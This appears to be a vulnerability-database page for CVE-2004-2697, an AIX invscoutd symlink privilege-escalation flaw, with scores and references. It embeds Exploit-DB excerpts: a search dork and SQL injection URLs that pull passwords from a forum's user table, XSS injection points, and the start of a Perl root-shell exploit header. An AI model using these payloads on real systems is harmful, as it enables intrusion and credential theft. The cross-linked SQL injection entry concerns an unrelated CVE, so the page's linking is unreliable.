CVE-2004-2697
published 2004-12-31CVE-2004-2697: The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line…
PriorityP418medium6.9CVSS 2.0
AVLACMAuNCCICAC
EXPLOIT
EPSS
0.59%
44.7th percentile
The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities
exploitdb·2006-05-26
CVE-2006-2697 Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities
Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities
---
ENGLISH
# Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities
# Dork : "Copyright 2004 easy-content forums"
# Author : ajann
# Exploit;
SQL INJECT.ON--------------------------------------------------------
### http://[target]/[path]/userview.asp?startletter=SQL TEXT
### http://[target]/[path]/topics.asp?catid=1'SQL TEXT =>catid=x
Example:
http://[target]/[path]/topics.asp?catid=1 union+select+0,password,0,0,0,0,0,0,0,0+from+tbl_forum_users
XSS--------------------------------------------------------
### http://[target]/[path]/userview.asp?startletter=xss TEXT
### http://[target]/[path]/topics.asp?catid=30&forumname=XSS TEXT
Example:
http://[target]/[path]/topics.asp?catid=30&forumn
Exploit-DB
AIX 4.3.3/5.1 - Invscoutd Symbolic Link
exploitdb·2003-05-29
CVE-2004-2697 AIX 4.3.3/5.1 - Invscoutd Symbolic Link
AIX 4.3.3/5.1 - Invscoutd Symbolic Link
---
source: https://www.securityfocus.com/bid/9982/info
Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.
This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.
No writeups or analysis indexed.
http://secunia.com/advisories/11200http://www.osvdb.org/4582http://www.securiteam.com/exploits/5CP0F0UDFG.htmlhttp://www.securityfocus.com/bid/9982http://www.xfocus.org/exploits/200403/31.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/15620http://secunia.com/advisories/11200http://www.osvdb.org/4582http://www.securiteam.com/exploits/5CP0F0UDFG.htmlhttp://www.securityfocus.com/bid/9982http://www.xfocus.org/exploits/200403/31.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/15620
2004-12-31
Published